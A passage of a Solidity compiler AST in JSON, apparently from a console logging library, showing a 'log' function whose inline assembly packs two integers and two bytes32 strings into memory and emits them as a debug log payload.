:[],"body":{"id":43049,"nodeType":"Block","src":"278039:1461:22","nodes":[],"statements":[{"assignments":[43016],"declarations":[{"constant":false,"id":43016,"mutability":"mutable","name":"m0","nameLocation":"278057:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43015,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43017,"nodeType":"VariableDeclarationStatement","src":"278049:10:22"},{"assignments":[43019],"declarations":[{"constant":false,"id":43019,"mutability":"mutable","name":"m1","nameLocation":"278077:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278069:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43018,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278069:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43020,"nodeType":"VariableDeclarationStatement","src":"278069:10:22"},{"assignments":[43022],"declarations":[{"constant":false,"id":43022,"mutability":"mutable","name":"m2","nameLocation":"278097:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278089:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43021,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278089:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43023,"nodeType":"VariableDeclarationStatement","src":"278089:10:22"},{"assignments":[43025],"declarations":[{"constant":false,"id":43025,"mutability":"mutable","name":"m3","nameLocation":"278117:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278109:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43024,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278109:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43026,"nodeType":"VariableDeclarationStatement","src":"278109:10:22"},{"assignments":[43028],"declarations":[{"constant":false,"id":43028,"mutability":"mutable","name":"m4","nameLocation":"278137:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278129:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43027,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278129:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43029,"nodeType":"VariableDeclarationStatement","src":"278129:10:22"},{"assignments":[43031],"declarations":[{"constant":false,"id":43031,"mutability":"mutable","name":"m5","nameLocation":"278157:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278149:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43030,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278149:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43032,"nodeType":"VariableDeclarationStatement","src":"278149:10:22"},{"assignments":[43034],"declarations":[{"constant":false,"id":43034,"mutability":"mutable","name":"m6","nameLocation":"278177:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278169:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43033,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278169:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43035,"nodeType":"VariableDeclarationStatement","src":"278169:10:22"},{"assignments":[43037],"declarations":[{"constant":false,"id":43037,"mutability":"mutable","name":"m7","nameLocation":"278197:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278189:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43036,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278189:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43038,"nodeType":"VariableDeclarationStatement","src":"278189:10:22"},{"assignments":[43040],"declarations":[{"constant":false,"id":43040,"mutability":"mutable","name":"m8","nameLocation":"278217:2:22","nodeType":"VariableDeclaration","scope":43049,"src":"278209:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43039,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278209:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43041,"nodeType":"VariableDeclarationStatement","src":"278209:10:22"},{"AST":{"nativeSrc":"278238:927:22","nodeType":"YulBlock","src":"278238:927:22","statements":[{"body":{"nativeSrc":"278281:313:22","nodeType":"YulBlock","src":"278281:313:22","statements":[{"nativeSrc":"278299:15:22","nodeType":"YulVariableDeclaration","src":"278299:15:22","value":{"kind":"number","nativeSrc":"278313:1:22","nodeType":"YulLiteral","src":"278313:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"278303:6:22","nodeType":"YulTypedName","src":"278303:6:22","type":""}]},{"body":{"nativeSrc":"278384:40:22","nodeType":"YulBlock","src":"278384:40:22","statements":[{"body":{"nativeSrc":"278413:9:22","nodeType":"YulBlock","src":"278413:9:22","statements":[{"nativeSrc":"278415:5:22","nodeType":"YulBreak","src":"278415:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"278401:6:22","nodeType":"YulIdentifier","src":"278401:6:22"},{"name":"w","nativeSrc":"278409:1:22","nodeType":"YulIdentifier","src":"278409:1:22"}],"functionName":{"name":"byte","nativeSrc":"278396:4:22","nodeType":"YulIdentifier","src":"278396:4:22"},"nativeSrc":"278396:15:22","nodeType":"YulFunctionCall","src":"278396:15:22"}],"functionName":{"name":"iszero","nativeSrc":"278389:6:22","nodeType":"YulIdentifier","src":"278389:6:22"},"nativeSrc":"278389:23:22","nodeType":"YulFunctionCall","src":"278389:23:22"},"nativeSrc":"278386:36:22","nodeType":"YulIf","src":"278386:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"278341:6:22","nodeType":"YulIdentifier","src":"278341:6:22"},{"kind":"number","nativeSrc":"278349:4:22","nodeType":"YulLiteral","src":"278349:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"278338:2:22","nodeType":"YulIdentifier","src":"278338:2:22"},"nativeSrc":"278338:16:22","nodeType":"YulFunctionCall","src":"278338:16:22"},"nativeSrc":"278331:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"278355:28:22","nodeType":"YulBlock","src":"278355:28:22","statements":[{"nativeSrc":"278357:24:22","nodeType":"YulAssignment","src":"278357:24:22","value":{"arguments":[{"name":"length","nativeSrc":"278371:6:22","nodeType":"YulIdentifier","src":"278371:6:22"},{"kind":"number","nativeSrc":"278379:1:22","nodeType":"YulLiteral","src":"278379:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"278367:3:22","nodeType":"YulIdentifier","src":"278367:3:22"},"nativeSrc":"278367:14:22","nodeType":"YulFunctionCall","src":"278367:14:22"},"variableNames":[{"name":"length","nativeSrc":"278357:6:22","nodeType":"YulIdentifier","src":"278357:6:22"}]}]},"pre":{"nativeSrc":"278335:2:22","nodeType":"YulBlock","src":"278335:2:22","statements":[]},"src":"278331:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"278448:3:22","nodeType":"YulIdentifier","src":"278448:3:22"},{"name":"length","nativeSrc":"278453:6:22","nodeType":"YulIdentifier","src":"278453:6:22"}],"functionName":{"name":"mstore","nativeSrc":"278441:6:22","nodeType":"YulIdentifier","src":"278441:6:22"},"nativeSrc":"278441:19:22","nodeType":"YulFunctionCall","src":"278441:19:22"},"nativeSrc":"278441:19:22","nodeType":"YulExpressionStatement","src":"278441:19:22"},{"nativeSrc":"278477:37:22","nodeType":"YulVariableDeclaration","src":"278477:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"278494:3:22","nodeType":"YulLiteral","src":"278494:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"278503:1:22","nodeType":"YulLiteral","src":"278503:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"278506:6:22","nodeType":"YulIdentifier","src":"278506:6:22"}],"functionName":{"name":"shl","nativeSrc":"278499:3:22","nodeType":"YulIdentifier","src":"278499:3:22"},"nativeSrc":"278499:14:22","nodeType":"YulFunctionCall","src":"278499:14:22"}],"functionName":{"name":"sub","nativeSrc":"278490:3:22","nodeType":"YulIdentifier","src":"278490:3:22"},"nativeSrc":"278490:24:22","nodeType":"YulFunctionCall","src":"278490:24:22"},"variables":[{"name":"shift","nativeSrc":"278481:5:22","nodeType":"YulTypedName","src":"278481:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"278542:3:22","nodeType":"YulIdentifier","src":"278542:3:22"},{"kind":"number","nativeSrc":"278547:4:22","nodeType":"YulLiteral","src":"278547:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"278538:3:22","nodeType":"YulIdentifier","src":"278538:3:22"},"nativeSrc":"278538:14:22","nodeType":"YulFunctionCall","src":"278538:14:22"},{"arguments":[{"name":"shift","nativeSrc":"278558:5:22","nodeType":"YulIdentifier","src":"278558:5:22"},{"arguments":[{"name":"shift","nativeSrc":"278569:5:22","nodeType":"YulIdentifier","src":"278569:5:22"},{"name":"w","nativeSrc":"278576:1:22","nodeType":"YulIdentifier","src":"278576:1:22"}],"functionName":{"name":"shr","nativeSrc":"278565:3:22","nodeType":"YulIdentifier","src":"278565:3:22"},"nativeSrc":"278565:13:22","nodeType":"YulFunctionCall","src":"278565:13:22"}],"functionName":{"name":"shl","nativeSrc":"278554:3:22","nodeType":"YulIdentifier","src":"278554:3:22"},"nativeSrc":"278554:25:22","nodeType":"YulFunctionCall","src":"278554:25:22"}],"functionName":{"name":"mstore","nativeSrc":"278531:6:22","nodeType":"YulIdentifier","src":"278531:6:22"},"nativeSrc":"278531:49:22","nodeType":"YulFunctionCall","src":"278531:49:22"},"nativeSrc":"278531:49:22","nodeType":"YulExpressionStatement","src":"278531:49:22"}]},"name":"writeString","nativeSrc":"278252:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"278273:3:22","nodeType":"YulTypedName","src":"278273:3:22","type":""},{"name":"w","nativeSrc":"278278:1:22","nodeType":"YulTypedName","src":"278278:1:22","type":""}],"src":"278252:342:22"},{"nativeSrc":"278607:17:22","nodeType":"YulAssignment","src":"278607:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278619:4:22","nodeType":"YulLiteral","src":"278619:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"278613:5:22","nodeType":"YulIdentifier","src":"278613:5:22"},"nativeSrc":"278613:11:22","nodeType":"YulFunctionCall","src":"278613:11:22"},"variableNames":[{"name":"m0","nativeSrc":"278607:2:22","nodeType":"YulIdentifier","src":"278607:2:22"}]},{"nativeSrc":"278637:17:22","nodeType":"YulAssignment","src":"278637:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278649:4:22","nodeType":"YulLiteral","src":"278649:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"278643:5:22","nodeType":"YulIdentifier","src":"278643:5:22"},"nativeSrc":"278643:11:22","nodeType":"YulFunctionCall","src":"278643:11:22"},"variableNames":[{"name":"m1","nativeSrc":"278637:2:22","nodeType":"YulIdentifier","src":"278637:2:22"}]},{"nativeSrc":"278667:17:22","nodeType":"YulAssignment","src":"278667:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278679:4:22","nodeType":"YulLiteral","src":"278679:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"278673:5:22","nodeType":"YulIdentifier","src":"278673:5:22"},"nativeSrc":"278673:11:22","nodeType":"YulFunctionCall","src":"278673:11:22"},"variableNames":[{"name":"m2","nativeSrc":"278667:2:22","nodeType":"YulIdentifier","src":"278667:2:22"}]},{"nativeSrc":"278697:17:22","nodeType":"YulAssignment","src":"278697:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278709:4:22","nodeType":"YulLiteral","src":"278709:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"278703:5:22","nodeType":"YulIdentifier","src":"278703:5:22"},"nativeSrc":"278703:11:22","nodeType":"YulFunctionCall","src":"278703:11:22"},"variableNames":[{"name":"m3","nativeSrc":"278697:2:22","nodeType":"YulIdentifier","src":"278697:2:22"}]},{"nativeSrc":"278727:17:22","nodeType":"YulAssignment","src":"278727:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278739:4:22","nodeType":"YulLiteral","src":"278739:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"278733:5:22","nodeType":"YulIdentifier","src":"278733:5:22"},"nativeSrc":"278733:11:22","nodeType":"YulFunctionCall","src":"278733:11:22"},"variableNames":[{"name":"m4","nativeSrc":"278727:2:22","nodeType":"YulIdentifier","src":"278727:2:22"}]},{"nativeSrc":"278757:17:22","nodeType":"YulAssignment","src":"278757:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278769:4:22","nodeType":"YulLiteral","src":"278769:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"278763:5:22","nodeType":"YulIdentifier","src":"278763:5:22"},"nativeSrc":"278763:11:22","nodeType":"YulFunctionCall","src":"278763:11:22"},"variableNames":[{"name":"m5","nativeSrc":"278757:2:22","nodeType":"YulIdentifier","src":"278757:2:22"}]},{"nativeSrc":"278787:17:22","nodeType":"YulAssignment","src":"278787:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278799:4:22","nodeType":"YulLiteral","src":"278799:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"278793:5:22","nodeType":"YulIdentifier","src":"278793:5:22"},"nativeSrc":"278793:11:22","nodeType":"YulFunctionCall","src":"278793:11:22"},"variableNames":[{"name":"m6","nativeSrc":"278787:2:22","nodeType":"YulIdentifier","src":"278787:2:22"}]},{"nativeSrc":"278817:17:22","nodeType":"YulAssignment","src":"278817:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"278829:4:22","nodeType":"YulLiteral","src":"278829:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"278823:5:22","nodeType":"YulIdentifier","src":"278823:5:22"},"nativeSrc":"278823:11:22","nodeType":"YulFunctionCall","src":"278823:11:22"},"variableNames":[{"name":"m7","nativeSrc":"278817:2:22","nodeType":"YulIdentifier","src":"278817:2:22"}]},{"nativeSrc":"278847:18:22","nodeType":"YulAssignment","src":"278847:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"278859:5:22","nodeType":"YulLiteral","src":"278859:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"278853:5:22","nodeType":"YulIdentifier","src":"278853:5:22"},"nativeSrc":"278853:12:22","nodeType":"YulFunctionCall","src":"278853:12:22"},"variableNames":[{"name":"m8","nativeSrc":"278847:2:22","nodeType":"YulIdentifier","src":"278847:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"278950:4:22","nodeType":"YulLiteral","src":"278950:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"278956:10:22","nodeType":"YulLiteral","src":"278956:10:22","type":"","value":"0x27d8afd2"}],"functionName":{"name":"mstore","nativeSrc":"278943:6:22","nodeType":"YulIdentifier","src":"278943:6:22"},"nativeSrc":"278943:24:22","nodeType":"YulFunctionCall","src":"278943:24:22"},"nativeSrc":"278943:24:22","nodeType":"YulExpressionStatement","src":"278943:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"278987:4:22","nodeType":"YulLiteral","src":"278987:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"278993:2:22","nodeType":"YulIdentifier","src":"278993:2:22"}],"functionName":{"name":"mstore","nativeSrc":"278980:6:22","nodeType":"YulIdentifier","src":"278980:6:22"},"nativeSrc":"278980:16:22","nodeType":"YulFunctionCall","src":"278980:16:22"},"nativeSrc":"278980:16:22","nodeType":"YulExpressionStatement","src":"278980:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279016:4:22","nodeType":"YulLiteral","src":"279016:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"279022:2:22","nodeType":"YulIdentifier","src":"279022:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279009:6:22","nodeType":"YulIdentifier","src":"279009:6:22"},"nativeSrc":"279009:16:22","nodeType":"YulFunctionCall","src":"279009:16:22"},"nativeSrc":"279009:16:22","nodeType":"YulExpressionStatement","src":"279009:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279045:4:22","nodeType":"YulLiteral","src":"279045:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"279051:4:22","nodeType":"YulLiteral","src":"279051:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"279038:6:22","nodeType":"YulIdentifier","src":"279038:6:22"},"nativeSrc":"279038:18:22","nodeType":"YulFunctionCall","src":"279038:18:22"},"nativeSrc":"279038:18:22","nodeType":"YulExpressionStatement","src":"279038:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279076:4:22","nodeType":"YulLiteral","src":"279076:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"279082:4:22","nodeType":"YulLiteral","src":"279082:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"279069:6:22","nodeType":"YulIdentifier","src":"279069:6:22"},"nativeSrc":"279069:18:22","nodeType":"YulFunctionCall","src":"279069:18:22"},"nativeSrc":"279069:18:22","nodeType":"YulExpressionStatement","src":"279069:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279112:4:22","nodeType":"YulLiteral","src":"279112:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"279118:2:22","nodeType":"YulIdentifier","src":"279118:2:22"}],"functionName":{"name":"writeString","nativeSrc":"279100:11:22","nodeType":"YulIdentifier","src":"279100:11:22"},"nativeSrc":"279100:21:22","nodeType":"YulFunctionCall","src":"279100:21:22"},"nativeSrc":"279100:21:22","nodeType":"YulExpressionStatement","src":"279100:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279146:4:22","nodeType":"YulLiteral","src":"279146:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"279152:2:22","nodeType":"YulIdentifier","src":"279152:2:22"}],"functionName":{"name":"writeString","nativeSrc":"279134:11:22","nodeType":"YulIdentifier","src":"279134:11:22"},"nativeSrc":"279134:21:22","nodeType":"YulFunctionCall","src":"279134:21:22"},"nativeSrc":"279134:21:22","nodeType":"YulExpressionStatement","src":"279134:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43016,"isOffset":false,"isSlot":false,"src":"278607:2:22","valueSize":1},{"declaration":43019,"isOffset":false,"isSlot":false,"src":"278637:2:22","valueSize":1},{"declaration":43022,"isOffset":false,"isSlot":false,"src":"278667:2:22","valueSize":1},{"declaration":43025,"isOffset":false,"isSlot":false,"src":"278697:2:22","valueSize":1},{"declaration":43028,"isOffset":false,"isSlot":false,"src":"278727:2:22","valueSize":1},{"declaration":43031,"isOffset":false,"isSlot":false,"src":"278757:2:22","valueSize":1},{"declaration":43034,"isOffset":false,"isSlot":false,"src":"278787:2:22","valueSize":1},{"declaration":43037,"isOffset":false,"isSlot":false,"src":"278817:2:22","valueSize":1},{"declaration":43040,"isOffset":false,"isSlot":false,"src":"278847:2:22","valueSize":1},{"declaration":43006,"isOffset":false,"isSlot":false,"src":"278993:2:22","valueSize":1},{"declaration":43008,"isOffset":false,"isSlot":false,"src":"279022:2:22","valueSize":1},{"declaration":43010,"isOffset":false,"isSlot":false,"src":"279118:2:22","valueSize":1},{"declaration":43012,"isOffset":false,"isSlot":false,"src":"279152:2:22","valueSize":1}],"id":43042,"nodeType":"InlineAssembly","src":"278229:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43044,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"279190:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"279196:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43043,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"279174:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43046,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"279174:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43047,"nodeType":"ExpressionStatement","src":"279174:28:22"},{"AST":{"nativeSrc":"279221:273:22","nodeType":"YulBlock","src":"279221:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"279242:4:22","nodeType":"YulLiteral","src":"279242:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"279248:2:22","nodeType":"YulIdentifier","src":"279248:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279235:6:22","nodeType":"YulIdentifier","src":"279235:6:22"},"nativeSrc":"279235:16:22","nodeType":"YulFunctionCall","src":"279235:16:22"},"nativeSrc":"279235:16:22","nodeType":"YulExpressionStatement","src":"279235:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279271:4:22","nodeType":"YulLiteral","src":"279271:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"279277:2:22","nodeType":"YulIdentifier","src":"279277:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279264:6:22","nodeType":"YulIdentifier","src":"279264:6:22"},"nativeSrc":"279264:16:22","nodeType":"YulFunctionCall","src":"279264:16:22"},"nativeSrc":"279264:16:22","nodeType":"YulExpressionStatement","src":"279264:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279300:4:22","nodeType":"YulLiteral","src":"279300:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"279306:2:22","nodeType":"YulIdentifier","src":"279306:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279293:6:22","nodeType":"YulIdentifier","src":"279293:6:22"},"nativeSrc":"279293:16:22","nodeType":"YulFunctionCall","src":"279293:16:22"},"nativeSrc":"279293:16:22","nodeType":"YulExpressionStatement","src":"279293:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279329:4:22","nodeType":"YulLiteral","src":"279329:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"279335:2:22","nodeType":"YulIdentifier","src":"279335:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279322:6:22","nodeType":"YulIdentifier","src":"279322:6:22"},"nativeSrc":"279322:16:22","nodeType":"YulFunctionCall","src":"279322:16:22"},"nativeSrc":"279322:16:22","nodeType":"YulExpressionStatement","src":"279322:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279358:4:22","nodeType":"YulLiteral","src":"279358:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"279364:2:22","nodeType":"YulIdentifier","src":"279364:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279351:6:22","nodeType":"YulIdentifier","src":"279351:6:22"},"nativeSrc":"279351:16:22","nodeType":"YulFunctionCall","src":"279351:16:22"},"nativeSrc":"279351:16:22","nodeType":"YulExpressionStatement","src":"279351:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279387:4:22","nodeType":"YulLiteral","src":"279387:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"279393:2:22","nodeType":"YulIdentifier","src":"279393:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279380:6:22","nodeType":"YulIdentifier","src":"279380:6:22"},"nativeSrc":"279380:16:22","nodeType":"YulFunctionCall","src":"279380:16:22"},"nativeSrc":"279380:16:22","nodeType":"YulExpressionStatement","src":"279380:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279416:4:22","nodeType":"YulLiteral","src":"279416:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"279422:2:22","nodeType":"YulIdentifier","src":"279422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279409:6:22","nodeType":"YulIdentifier","src":"279409:6:22"},"nativeSrc":"279409:16:22","nodeType":"YulFunctionCall","src":"279409:16:22"},"nativeSrc":"279409:16:22","nodeType":"YulExpressionStatement","src":"279409:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279445:4:22","nodeType":"YulLiteral","src":"279445:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"279451:2:22","nodeType":"YulIdentifier","src":"279451:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279438:6:22","nodeType":"YulIdentifier","src":"279438:6:22"},"nativeSrc":"279438:16:22","nodeType":"YulFunctionCall","src":"279438:16:22"},"nativeSrc":"279438:16:22","nodeType":"YulExpressionStatement","src":"279438:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"279474:5:22","nodeType":"YulLiteral","src":"279474:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"279481:2:22","nodeType":"YulIdentifier","src":"279481:2:22"}],"functionName":{"name":"mstore","nativeSrc":"279467:6:22","nodeType":"YulIdentifier","src":"279467:6:22"},"nativeSrc":"279467:17:22","nodeType":"YulFunctionCall","src":"279467:17:22"},"nativeSrc":"279467:17:22","nodeType":"YulExpressionStatement","src":"279467:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43016,"isOffset":false,"isSlot":false,"src":"279248:2:22","valueSize":1},{"declaration":43019,"isOffset":false,"isSlot":false,"src":"279277:2:22","valueSize":1},{"declaration":43022,"isOffset":false,"isSlot":false,"src":"279306:2:22","valueSize":1},{"declaration":43025,"isOffset":false,"isSlot":false,"src":"279335:2:22","valueSize":1},{"declaration":43028,"isOffset":false,"isSlot":false,"src":"279364:2:22","valueSize":1},{"declaration":43031,"isOffset":false,"isSlot":false,"src":"279393:2:22","valueSize":1},{"declaration":43034,"isOffset":false,"isSlot":false,"src":"279422:2:22","valueSize":1},{"declaration":43037,"isOffset":false,"isSlot":false,"src":"279451:2:22","valueSize":1},{"declaration":43040,"isOffset":false,"isSlot":false,"src":"279481:2:22","valueSize":1}],"id":43048,"nodeType":"InlineAssembly","src":"279212:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"277973:3:22","parameters":{"id":43013,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43006,"mutability":"mutable","name":"p0","nameLocation":"277985:2:22","nodeType":"VariableDeclaration","scope":43050,"src":"277977:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43005,"name":"uint256","nodeType":"ElementaryTypeName","src":"277977:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43008,"mutability":"mutable","name":"p1","nameLocation":"277997:2:22","nodeType":"VariableDeclaration","scope":43050,"src":"277989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43007,"name":"uint256","nodeType":"ElementaryTypeName","src":"277989:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43010,"mutability":"mutable","name":"p2","nameLocation":"278009:2:22","nodeType":"VariableDeclaration","scope":43050,"src":"278001:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43009,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278001:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43012,"mutability":"mutable","name":"p3","nameLocation":"278021:2:22","nodeType":"VariableDeclaration","scope":43050,"src":"278013:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43011,"name":"bytes32","nodeType":"ElementaryTypeName","src":"278013:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"277976:48:22"},"returnParameters":{"id":43014,"nodeType":"ParameterList","parameters":[],"src":"278039:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43090,"nodeType":"FunctionDefinition","src":"279506:1340:22","nodes":[],"body":{"id":43089,"nodeType":"Block","src":"279581:1265:22","nodes":[],"statements":[{"assignments":[43062],"declarations":[{"constant":false,"id":43062,"mutability":"mutable","name":"m0","nameLocation":"279599:2:22","nodeType":"VariableDeclaration",